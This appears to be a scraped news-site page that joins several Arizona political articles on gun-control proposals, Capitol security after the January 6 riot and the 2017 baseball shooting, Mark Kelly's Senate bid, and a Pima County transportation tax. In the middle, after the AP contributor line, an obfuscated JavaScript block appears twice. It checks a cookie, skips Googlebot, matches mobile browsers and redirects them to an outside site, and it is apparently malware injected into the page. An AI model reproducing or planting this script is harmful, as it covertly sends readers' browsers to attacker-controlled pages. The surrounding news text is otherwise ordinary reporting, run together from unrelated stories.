Ducey plans renewal of gun-control measure


Calling it the best way to prevent mass shootings, Gov. Doug Ducey is renewing his bid to allow judges to take away guns of people believed to be a danger to themselves or others and have them held for mental examination.

“I’m disappointed we haven’t gotten more done on school safety,” the governor told Capitol Media Services, citing additional funding for counselors and school resource officers. “I definitely think more needs to be done.”

That “more” is Ducey’s proposal to allow judges to issue a Severe Threat Order of Protection, requiring people to submit to mental evaluations. It even would permit, under certain circumstances, for courts to order police to immediately pick up that person and, with a court order, have them held for up to 14 days.

“We think the STOP order is a good idea,” the governor said.

But Charles Heller, spokesman for the Arizona Citizens Defense League, called the proposal both unnecessary and dangerous.

Heller said existing provisions in the mental health code allow a court to order an evaluation of someone determined to be a danger to self or others. The difference, he said, is that there is clear notice to the person.

And Heller said if a court finds the person to be a danger, that ruling, by itself, means they cannot have any weapons.

More concerning, he said, is the ex parte nature of STOP orders — meaning the person isn’t even notified about the initial hearing – and what could happen when police, armed with a STOP order, show up at someone’s door.

He cited an example from Maryland where the person, not knowing who was knocking, answered the door with a gun in his hand. The police, said Heller, killed him.

“I think that’s what the anti-freedom people want,” he said.

“I think they would love for the police to come to the door and kill a guy who’s got an order against him,” Heller continued. “Because it would justify the order.”

The opposition of the Arizona Civil Defense League is a significant hurdle for Ducey.

Last year the governor got a version of the plan through the Senate after removing certain provisions. That was enough to get the National Rifle Association to back off.

But enough lawmakers in the House sided with the ACDL to kill the bill.

“Politics intervened,” the governor conceded. And he didn’t even try this year.

But Ducey, hoping to breathe life back into the plan in the 2020 session, brushed aside that organization’s opposition.

“I think you’re giving special interest groups a bigger profile,” he said.

Only thing is, it’s not just ACDL that finds the proposal offensive.

“We’re not talking about just taking people’s guns,” said then-Rep. Eddie Farnsworth, R-Mesa.

“We’re taking about incarcerating them for the purpose of a psychological evaluation against their will, potentially infringing on their First Amendment rights, and infringing heavily upon their Second Amendment rights,” said Farnsworth, who now chairs the Senate Judiciary Committee.

At the heart of the debate is whether it’s possible to identify people who are likely to become mass shooters and disarm them before they can do any harm.

Ducey contends it can be done – if police and courts have the right tools.

His Exhibit 1 is Nikolas Cruz who killed 17 and wounded 17 others last year at Marjory Stoneman Douglas High School in Parkland, Fla.

“Of course we want it to be constitutional and respect people’s rights,” the governor said.

“But when I hear someone in Florida say there was nothing that we could do for someone who had been visited by law enforcement or social services 39 times, who had posted on YouTube that they wanted to be known as a school shooter, I reject that as bad policy,” he said. “There should be something that we can do in extreme situations when someone is broadcasting that they are going to cause harm to others.”

Then there’s Jared Loughner who killed six and seriously wounded 13 others in 2011, including then-Congresswoman Gabrielle Giffords, who was meeting with constituents in the parking lot of a Tucson Safeway. The governor said there were similar reports about his conduct at Pima Community College.

Heller, however, sees a more menacing side to STOP orders.

“Basically, if you really want to F-up somebody’s rights you claim that they are violent,” he said, allowing police to seek an order to take that person’s guns.

“You get no hearing first, you get no nothing,” Heller said. “The first indication of trouble is that the police knock on their door with a warrant to take your guns.”

One part of Ducey’s plan would allow police with “probable cause” to believe someone is a danger to ask a judge to order that person evaluated for mental illness, behavioral health issues and drug use. Based on that evaluation, the judge would decide whether to order someone to undergo treatment, with the order valid for up to 14 days.

A parallel procedure would allow any guardian, immediate family member, school administrator, teacher, resident adviser, social worker or behavioral health professional to seek a similar court order.

If a judge determines at a hearing – also ex parte – that there is “clear and convincing evidence” that the person is a threat, the person is taken into custody where, for the first time, he or she gets to dispute those findings. But if the order is upheld, the person can be barred from possessing weapons for up to 21 days.

And there are options to extend that no-weapons order for up to six months.

Heller dismissed the contention that only a STOP order might have prevented the 2011 shooting in Tucson.

“We’ve got a perfectly good law that would have worked just fine with Jared Loughner,” Heller said. “There was lots of time between his incidents of crazy and his unlawful use of deadly force,” time, he said that could have been used to file a petition for his evaluation under the existing mental health laws.

“The sheriff’s department didn’t do it,” Heller said. “It was their jurisdiction.”

Ditto, he said, Pima College – other than expelling him.

“If you’ve got somebody that is doing that, that is sufficient to cause to get an order to get them observed 72 hours, and if he’s a danger to other people or himself, you can hold him for longer,” Heller said. “There’s a procedure already in the law to incarcerate somebody against their will for mental illness.”

And if they are adjudicated to be mentally ill, he said, they automatically are barred by federal law from possessing firearms.

Gubernatorial press aide Patrick Ptak said the STOP program closes loopholes in existing law to keep weapons out of the hands of those who are a danger.

Ptak, however, did not spell out what are those loopholes. But he did say that what Ducey wants to ensure that those determined to be a threat are referred for services.

And Ducey said those with whom he spoke in crafting the plan believe it is a reasonable and necessary approach.

“The balance is that individual citizen’s rights are respected and that law enforcement can also take action when they deem it necessary,” the governor said.

House, Senate to lock down over holiday weekend


The Arizona House and Senate will lock down over the long Martin Luther King Jr. weekend and Democrats are urging a suspension of the legislative session until after inauguration day following the FBI warning of potentially violent protests at all 50 state capitols.

Security around the Arizona Capitol has been higher since an armed mob stormed the U.S. Capitol last week. Now, visitors can only access the complex through gates staffed by security guards and Department of Public Safety officers, and only with a confirmed appointment.

Department of Public Safety officers who met with Senate staff earlier this week said they have yet to learn about any upcoming Capitol protests in Arizona. A planned protest at the Capitol on January 11 drew roughly a dozen people, some armed, who congregated outside the fences in front of the building and stood around. Later in the day, some staff leaving the building reported being heckled.

But Sen. Martín Quezada, D-Glendale, said information he has received hints that there may be a credible threat to the safety of staff and lawmakers. Democratic leaders in the House and Senate requested a temporary recess, at least until after January 20, the inauguration day for President-elect Joe Biden, to reduce risks.

“The information that we’ve gotten seems really legitimate, it seems credible, and there could be something that really happens,” Quezada said. “Why would we risk putting our staff or anybody in danger?”

Last year, Quezada witnessed a mass shooting at the Westgate Entertainment District just outside of his apartment. A decade ago, Democratic Reps. Randy Friese and Daniel Hernandez of Tucson were on hand when then U.S. Rep. Gabrielle Giffords and a dozen other people were shot at a constituent meeting outside a grocery store. Hernandez was an intern credited with saving Giffords’ life by stanching her bleeding, and Friese, a trauma surgeon, operated on victims.

Democratic lawmakers, including fellow Tucsonan Sen. Victoria Steele, have drawn comparisons between the current political climate and the most vitriolic heights of the Tea Party movement shortly before a gunman attempted to assassinate Giffords. The gunman, however, had no political motive and was found to be mentally ill.

Lawmakers were planning to recess January 14, and return on Tuesday, Jan. 19, after the King holiday, but that could change, House GOP Spokesman Andrew Wilder said.

“We’re considering and evaluating whether any extension is warranted and what that entails,” he said.

Formally recessing for more than three days requires a vote from both chambers.

Senate President Karen Fann said from the Senate floor Thursday she follow the House’s plan.

Fann said she feels safe with the new Capitol security measures, and that she hopes the climate calms down enough in the next couple of weeks that the fences can come down.

“The reality is that if people are that hell-bent on doing damage or rioting or anything else, they’re going to do whatever they’re going to do,” she said. “We hope that by putting some barriers out there and extra protection here that they’ll think twice about doing something they should not do, and I think that’s pretty much the best we can do right now.”

At this point, the Senate is not planning to follow the House in shutting down its parking lot and locking up the building even to lawmakers and staff between 8 p.m. January 14 and 6 a.m. January 19.


  • Yellow Sheet Editor Hank Stephenson contributed to this report 

Kelly: Border is porous, no opinion on single-payer health care

FILE- In this Oct. 2, 2017, file photo former Rep. Gabrielle Giffords, D-Ariz., right, listens as her husband Mark Kelly, left, speaks on Capitol Hill in Washington. Kelly said Tuesday, Feb. 12, 2019, that he's running to finish John McCain's term in the U.S. Senate. (AP Photo/Susan Walsh, File)
In this Oct. 2, 2017, file photo former Rep. Gabrielle Giffords, D-Ariz., right, listens as her husband Mark Kelly, left, speaks on Capitol Hill in Washington. Kelly said Tuesday, Feb. 12, 2019, that he’s running to finish John McCain’s term in the U.S. Senate. (AP Photo/Susan Walsh, File)

Former astronaut Mark Kelly waded into the political arena Tuesday, making a bid for U.S. Senate and hoping to prove to Arizonans he about more than just gun control.

Kelly officially said he wants the seat formerly held by John McCain and currently occupied by Republican Martha McSally. She was appointed to fill the vacancy by Gov. Doug Ducey but has to run in 2020 for the final two years of McCain’s term.

While Kelly has achieved some national attention, particularly for commanding the space shuttle, he is better known in Arizona as the husband of former state senator and Congresswoman Gabrielle Giffords. She left Congress after being shot in the head during a 2011 assassination attempt and mass shooting outside a Tucson grocery store that left her partially disabled and six others dead.

Since that time the pair have been on a crusade of sorts to convince state and federal lawmakers to enact what they believe are reasonable restrictions on weapons. That starts with closing what some have called the gun-show “loophole” that exempt people who buy weapons from another individual from having to go through the same background check as they would if purchasing a firearm from a licensed dealer.

Now Kelly needs to convince Arizona voters that he’s about much more than that.

In an interview with Capitol Media Services, Kelly provided some specifics.

For example, he said physical barriers do make sense along some areas of the nearly 2,000-mile border with Mexico, notably in urban areas.

“We can’t have an incredibly porous border,” Kelly said.

“But in some places it would be better if we applied technology,” saying that’s the way problems were solve at NASA with “a science-based approach.”

Still Kelly said he wants more enforcement border checkpoints.

“It’s too easy to illegally move drugs through these ports of entry,” he said.

Kelly said he got an important lesson in the importance of health care following the 2011 shooting and the hospitalization of his wife.

“She nearly died,” he said. “Her recovery took a long time.”

The issue, said Kelly, is that this kind of thing, whether it’s an injury or illness, happens to millions of others across the country.

“And often it happens when they don’t have health care coverage and it is devastating to them and their  families,” he said. “It often ruins their lives.”

That, he said, goes beyond the physical problems, leaving crippling medical bills.

The top priority, said Kelly, is ensuring that people have access to health care and do not lose their coverage for pre-existing conditions. But he balked at whether he supports some type of single-payer system where the government is responsible for obtaining coverage for all residents.

“I don’t know,” he said. “I’m going to have to figure this out over time.”

Kelly’s other key issue is climate change.

“I’ve seen changes in this planet from orbit,” he said. The problem, said Kelly, is that people in Washington are not taking this seriously.

“Often, we have people in D.C. that don’t even believe in science,” he said.

Kelly stressed that while he is campaigning for the Democratic nomination he is coming at the campaign and the job with the idea of being independent and working across the aisle on key issues.

“I don’t look at this through a partisan lens,” he said. “I think Arizonans need people who are independent, at least independent-minded.”

That may play in a general election campaign, as it did for Democrat Kyrsten Sinema who defeated McSally in the general election race for the Senate seat being vacated by Jeff Flake.

But Kelly first needs to win the Democratic primary, a hurdle Sinema did not need to face last year. And former state House Minority Leader Chad Campbell said Kelly is not simply going to be able to claim the Democratic nomination. What he said Kelly needs to do is provide Democratic voters with the kind the specifics on issues of importance to them to get their support.

“He’s going to have to demonstrate to voters he has a vision of some of the other big issues,” said Campbell, now a political consultant.

U.S. Rep. Ruben Gallego
U.S. Rep. Ruben Gallego

There’s also the question of whether Kelly, a relative newcomer to Arizona and Arizona politics, can gather the votes against those with deeper roots, including Congressman Ruben Gallego.

“I’ve made no secret of the fact that I’m looking seriously at running for the U.S. Senate in 2020, and that hasn’t changed,” Gallego posted on Twitter shortly after Kelly’s announcement. “I’ll be making a final decision and announcement soon.”

Gallego has his own back story, including being the son of Hispanic immigrants and a Marine Corps veteran serving in Iraq. More significant, he also has an extensive voting record both in the Arizona Legislature and, since 2015, as a member of Congress.

“Ruben represents a big challenge,” Campbell said, saying Kelly will need to “earn his Democratic credentials.”

Kelly brushed aside the question of that lack of a record for voters to consider.

“Well, I’m not a politician,” he said. “Obviously, I’m new to this.”

But Kelly said that he does have 25 years of service in the Navy, including his own military record during the first Gulf War where he flew 39 combat missions as part of Operation Desert Storm. Then there’s his record as commander of the space shuttle.

“I’ve solved problems looking at data and science and information and I hope to apply that in Washington, D.C.,” he said.

Gallego is not the only obstacle to the Democratic nomination. Former Phoenix Mayor Greg Stanton, just elected to Congress this past November, also is exploring his options.

Republican political consultant Stan Barnes said whoever survives the Democrat primary will find that McSally will be a stronger candidate than she was last year when she lost the Senate race to Sinema.

Barnes said he believes McSally learned her lesson and will not wage the same kind of negative campaign that left her short of votes at the end. And he said McSally also will have the benefit of 2020 being a presidential election year, enabling her to take advantage of support from and for President Trump.

Lawmakers talk more security, packing a gun after shooting

Rep. Joe Barton, R-Texas, with Rep. Pat Meehan, R-Pa., left, arrives on Capitol Hill in Washington, Wednesday, June 14, 2017, for a security briefing after a gunman opened fire at a congressional baseball practice wounding House Majority Whip Steve Scalise of La., and others, in Alexandria, Va. (AP Photo/J. Scott Applewhite)
Rep. Joe Barton, R-Texas, with Rep. Pat Meehan, R-Pa., left, arrives on Capitol Hill in Washington, Wednesday, June 14, 2017, for a security briefing after a gunman opened fire at a congressional baseball practice wounding House Majority Whip Steve Scalise of La., and others, in Alexandria, Va. (AP Photo/J. Scott Applewhite)

One Republican congressman says he’s going to start carrying a gun in public after a gunman opened fire on a baseball practice, injuring Rep. Steve Scalise and several others. Some lawmakers want beefed up security at town halls.

Wednesday’s shooting jolted many lawmakers, leaving them feeling vulnerable. And as the political rhetoric becomes more shrill, many members of Congress said they are receiving more threats, by email and by phone.

Shortly after the shooting, Rep. Claudia Tenney, R-N.Y., received an email. The subject line: “One down, 216 to go…”

There are 238 Republicans in the House, but 217 voted for a bill that would repeal and replace President Barack Obama’s health law. It was unclear whether the email writer was referring to that vote.

Tenney’s spokeswoman, Hannah Andrews, said the office alerted U.S. Capitol Police.

Two weeks ago, the Capitol police dispatched two officers to the Houston district of Rep. Al Green, D-Texas. Green said his office got threatening phone calls after he called for President Donald Trump to be impeached.

Green, who is black, said the callers called him the N-word and said he should be lynched.

“Since May, someone has threatened to shoot Rep. (Martha) McSally in the head. Someone tried to run Rep. (David) Kustoff off the road with her car, and now a man seemingly attempted to assassinate several members of Congress at a baseball practice,” said Rep. Ralph Abraham, R-La. “I know we’re a divided country, but Americans do not settle political disagreements with violence.”

McSally is a Republican from Arizona and Kustoff is a Republican from Tennessee.

The U.S. Capitol is one of the best-guarded buildings in the country, but when the vast majority of lawmakers leave the fortress of Capitol Hill, they’re on their own. Wednesday’s shooting highlights the vulnerability of lawmakers when they are in public. Only the congressional leaders have security details.

Rep. Chris Collins, R-N.Y., told a Buffalo radio station that he plans to start carrying a gun in public.

“It’s going to be in my pocket from this day forward,” said Collins, who added he has a permit.

Rep. Jeff Duncan, R-S.C., said he feels adequately protected at the Capitol complex and feels no need to carry a gun.

“That’s the wrong way to approach this. We’ve got Capitol police coming out of every office in the Capitol complex,” Duncan said.

As majority whip, Scalise is the third-ranking Republican in the House. That’s the only reason members of the U.S. Capitol Police were at the practice ai??i?? rank-and-file senators and House members don’t get security details.

“I think the security detail saved a lot of lives because they attacked the shooter,” said Rep. Joe Barton, R-Texas. Barton manages the baseball team.

Two officers were injured along with a congressional aide and a lobbyist. The assailant later died after the incident.

Attacks on members of Congress are rare. In 2011, a gunman shot Rep. Gabby Giffords, D-Ariz., in the head during a shooting rampage at a public event outside a grocery store in Tucson. The gunman killed six people and wounded 13, including Giffords.

The last sitting member of Congress who was killed in the U.S. was Sen. Robert F. Kennedy in 1968, while he was running for president. Two others were killed abroad.

Incidents at the Capitol are more common, even though the ornate tourist attraction is ringed with heavily armed Capitol Police and metal detectors at every entrance.

Last year, Capitol police shot and wounded a Tennessee minister who, they said, pulled a gun and pointed it at officers as he was entering the Capitol Visitor Center. In 2015, a former postal worker from Florida flew a one-man gyrocopter onto the lawn of the Capitol. He said he was protesting the influence of money in politics.

One of the worst incidents happened in 1998, when a gunman stormed through a Capitol door and shot and killed two members of the Capitol police, detective John Gibson and officer Jacob Chestnut.

After Wednesday’s shooting, some lawmakers said they would look into having more security when they gather in large numbers. But with 535 members of the House and Senate, lawmakers said it is unlikely rank-and-file members will get security details unless there is a specific threat.

“I don’t think about it every day. You can’t think about it every day. It makes you feel vulnerable,” said Rep. Patrick Meehan, R-Pa., a pitcher on the baseball team. “I don’t know how you look at security for individual members. You might at things in which we are collectively together.”


Associated Press writer Melinda Deslatte in Baton Rouge, Louisiana, contributed to this report.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Pima County tax hike proposal gets Senate panel’s approval


A proposal to let Pima County voters decide whether to double their transportation taxes cleared a key hurdle Wednesday despite a plea by one area senator to his colleagues to quash the plan.

Current law allows the county’s Regional Transportation Authority to impose a one-half cent sales tax for road projects. HB 2109 would empower the board to seek a full penny when it asks voters in the next few years to extend the levy.

The 5-3 vote by the Senate Committee on Transportation and Public Safety came despite arguments that Pima County should not be permitted to increase the burden on taxpayers because it has not properly spent money it already is getting for roads. That includes claims that the county has spent its share of state highway funds on everything from a bowling alley to soccer fields and a memorial for the victims of the 2011 attack that killed six and seriously wounded Gabrielle Giffords.

County Manager Chuck Huckelberry had his own take on the assertions.

“When you can’t win an argument with logic, you just make stuff up,” he said.

Huckelberry said the Golden Pins bowling alley on Miracle Mile was purchased with general fund dollars to convert it to a county service center. The memorial, he said, is being constructed solely with private donations, though the county did the archaeology work because it’s on county property.

And those soccer fields, he said, are financed by taxes on rental cars, hotel rooms and revenues from events.

Huckelberry also said foes are confusing unrestricted cash the county gets from vehicle license fees with the Highway User Revenue Fund dollars which can be spent only on specified transportation projects. He said it would be illegal for the county to use HURF dollars on anything else.

And Mike Racy who lobbies for the RTA pointed out that a special audit of existing county bonds, ordered by the Legislature, found that the money raised was spent in accordance with what voters authorized.

Vince Leach
Vince Leach

That did not deter Sen. Vince Leach, R-Tucson, who told committee members that it makes no sense to allow an even higher tax on Pima County residents – even one they would have to approve at the ballot box – given what he said is an already high debt and questions about where already-approved dollars have gone.

He also claimed that Pima County’s total long-term debt equals about 70 percent of the total debt of all counties statewide.

That’s true, Racy acknowledged, but said it paints only part of the picture.

He said that $1.2 billion figure for the Pima debt – one he said is out-of-date anyway – reflects on the fact that Pima County actually has more people living in unincorporated areas than any other county. That means the county is responsible for funding urban-style improvements, like parks, which in a place like Maricopa County are more likely to be handled by one of the dozens of incorporated communities.

The fight has pitted key elements of the business community against some Republicans. That includes not just Leach but Supervisor Ally Miller and Christopher King, an elected GOP precinct and state committeeman and a member of the party’s state executive committee.

“This is not just wrong,” he told lawmakers. “It is pure evil.”

That divide is likely to play out again on the streets of Pima County if the measure authorizing a vote on a higher tax gets approval of the full Senate where it now goes.

But the proposal also picked up opposition from the town of Marana. Lobbyist Lourdes Peña said that representatives of her community were not directly involved in the stakeholder meetings that led to this legislation.

And there was something else.

“While we understand the needs for additional funding, we understand that this bill could potentially enable a significant tax increase for our taxpayers in our town,” Peña said. “And we cannot support a proposal that does not outline or provide us any insurance of what the spending plan will be moving forward.”

As to the first half of that argument, Leach said that adding a half-cent to the road tax would raise the overall sales tax rate in Marana to 8.6 percent. And on top of that, he said, the town is facing some costs for dealing with pollution that ruined two wells, with the $15 million cost of that expected to add another four-tenths of a cent on top of that.

Ted Maxwell, president of the Southern Arizona Leadership Council, told senators they need to focus on what is – and is not – in the legislation.

“This is not a tax increase and this is not enabling Pima County government,” he said. “It’s enabling the Regional Transportation Authority” which is composed of elected officials from all governments within the county, all having an equal vote on the board when it comes to creating a plan for how tax dollars will be spent.

Maxwell said that any plan has to get approval of not just the RTA board but also the county supervisors. And then it goes on the ballot where there would be two separate votes, one for the higher levy and one to approve the spending plan.

“What we’re asking for is self-determination,” he said, pointing out that 13 of the other 14 counties in the state already have this authority.

Robert Medler, vice president of the Tucson Metropolitan Chamber of Commerce, argued that a higher tax is needed to improve the economic health of the area.

“We have to create wealth in our community,” he said. “But it doesn’t just happen.”

Medler said that the chamber and allied entities have regular interactions with corporate officials who are involved in selecting sites for new or expanded businesses.

One of their big issues, he said, is having a sufficiently trained workforce. But Medler said that is, in many ways, a national problem.

“And the second is our roads and our infrastructure system, why they don’t pick our region,” he said, with those site selectors instead choosing areas where both are better.

In choosing to vote for the plan – and against what Leach had argued – Sen. Sonny Borrelli, R-Lake Havasu City, said it sounds to him like any problems that do exist are with Pima County. He said all indications are that the separate RTA is functioning well.

But Sen. Eddie Farnsworth, R-Gilbert, said that’s missing the point. He said that what appears to be happening is that the RTA wants the ability to increase what it can raise in taxes amid questions of whether Pima County is spending its own money properly.

“I believe we’re not dealing with the responsibility of government to use taxpayer money wisely,” Farnsworth said.

Student, lawmakers call for changes to gun laws

Backed by other advocates for tighter gun regulations, Mountain View High School junior Jordan Harb details Monday how students plan to walk out Wednesday and come to the Capitol to advocate for new gun laws designed to protect themselves and their teachers. (Photo by Rachel Leingang/Arizona Capitol Times)
Backed by other advocates for tighter gun regulations, Mountain View High School junior Jordan Harb details Monday how students plan to walk out Wednesday and come to the Capitol to advocate for new gun laws designed to protect themselves and their teachers. (Photo by Rachel Leingang/Arizona Capitol Times)

Saying students are trying to save their own lives, a Mountain View High School junior said Monday he is helping organize a walkout Wednesday to get the attention of recalcitrant legislators who to date have yet to approve any meaningful limits on access to guns.

